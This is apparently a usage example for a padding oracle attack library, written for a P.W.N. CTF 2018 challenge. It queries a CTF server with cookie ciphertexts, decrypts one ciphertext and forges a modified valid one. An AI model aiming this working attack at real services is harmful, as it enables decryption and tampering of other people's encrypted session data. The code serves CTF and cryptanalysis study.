from padding_oracle import PaddingOracle from optimized_alphabets import json_alphabet import requests # This function has to be implemented and will be passed to the PaddingOracle constructor. # It gets a hex encoded cipher text and has to return True if it can be decrypted successfully, # False otherwise. #  # Here is an example implementation that I used for P.W.N. CTF 2018. def oracle(cipher_hex): headers = {'Cookie': 'vals={}'.format(cipher_hex)} r = requests.get('http://converter.uni.hctf.fun/convert', headers=headers) response = r.content if b'Invalid padding bytes.' not in response: return True else: return False # Instantiate the helper with the oracle implementation o = PaddingOracle(oracle, max_retries=-1) # Decrypt the plain text. # To make the guesswork faster, use an alphabet optimized for JSON data. cipher = 'b5290bd594ba08fa58b1d5c7a19f876c338191a51eeeac94c2b434bdb8adbfb8596f996d6eddca93c059e3dc35f7bef36b57a5611250ec4528c11e1573799d2178c54c034b9ea8fda8ae9a4a41c67763' plain, padding = o.decrypt(cipher, optimized_alphabet=json_alphabet()) print('Plaintext: {}'.format(plain)) # Craft a modified but valid cipher text plain_new = plain[:24] + b'XXXX' + plain[28:] cipher_new = o.craft(cipher, plain, plain_new) print('Modified: {}'.format(cipher_new))